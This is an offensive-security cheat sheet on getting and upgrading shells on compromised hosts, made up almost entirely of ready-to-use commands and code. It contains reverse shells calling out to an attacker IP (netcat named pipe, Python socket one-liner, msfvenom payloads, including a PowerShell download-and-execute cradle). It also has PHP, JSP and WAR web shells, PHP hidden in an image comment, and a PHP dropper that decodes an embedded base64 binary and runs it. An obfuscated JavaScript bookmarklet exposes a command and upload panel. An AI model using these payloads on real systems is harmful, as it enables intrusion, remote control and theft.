Shells

Msfvenom Cheatsheet: https://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/

Shell Fu

Spawning a TTY Shell

#1
python -c 'import pty; pty.spawn("/bin/bash")'

This gives us a partially interactive bash shell. To get a fully interactive shell, 
background the session (CTRL+ Z) and run the following in your terminal which tells your 
terminal to pass keyboard shortcuts to the shell.

#2 : On Attacker Terminal
stty raw -echo

Press 'f' --> 'g'
Press 'Enter' twice

Use the following command to give the shell the ability to clear the screen
export TERM=xterm

#Other techniques
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

//From within IRB
exec "/bin/sh"

Reverse Shells

RSG Tool
Recompile Netcat for target architecture : git clone https://github.com/int0x33/nc.exe/

#Netcat relay
Create a pipe called backpipe. This command is used to shuttle data back to the shells input
mknod /tmp/backpipe p

Invoke Ubuntu system's shell by pulling the named pipe we just created.
We also pipe the output to the Ubuntu system's netcat client which connects to our attacking machine.
Finally we will dump netcat's standard output into the named pipe.
/bin/sh 0 < /tmp/backpipe | nc <Attacker IP> <Port> 1> /tmp/backpipe


#ASPX
msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=<IP> LPORT=<Port> -o shell.aspx

#Windows HTTP download reverse shell
msfvenom -a x86 --platform windows -p windows/exec CMD="powershell \"IEX(New-Object Net.WebClient).downloadString('http://192.168.42.42/Invoke-PowerShellTcp.ps1')\"" -e x86/unicode_mixed BufferRegister=EAX -f python

#Stageless
msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.42.42 LPORT=443 -f exe -o <output_name.format>

Python

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

Web-shells

CGI/Perl

The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
chmod +x shell.cgi
#Modify Listener IP, Port, Setup a listener
#Access the reverse shell from the web browser to execute it.

PHP

PHPbash [Github link]
Cheatsheet : https://github.com/JohnTroony/php-webshells
PHP Code Obfuscator

#POC
<?php echo \"<pre>Test Payload</pre>\"; die(); ?>

#One-liners
<?php echo passthru($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>

#Default webshells from Kali
#PHP
/usr/share/webshells/php/php-reverse-shell.php

#Injecting PHP code into Comments of Images
exiftool -Comment="<?php system($_GET[base64_decode('Y21k')]);?>" webshell_firestone.png

#For Windows Hosts

<?php

header('Content-type: text/plain');
$ip   = "<INSERT IP HERE>"; //change this 
$port = "1234"; //change this
$payload = "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$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);
			            
?>

ASPX

#Default webshells from Kali
/usr/share/webshells/aspx/cmdasp.aspx

Download Link

Download Link

WAR Files

#Msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.0.172 LPORT=4445 -f war > rshell.war

From Scratch

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

---------------------------
#Save to a file warwebshell

mkdir webshell
#Now we can build the war file using jar (provide with java):

cd webshell
jar -cvf ../webshell.war *

Stealthy

https://github.com/SecurityRiskAdvisors/cmd.jsp
Upload cmd.war file onto server.
Create a bookmark on Firefox with location :

javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);

Once the file is uploaded, access it. Click on the saved bookmark for JS to execute. This will reveal the GUI to enter commands.

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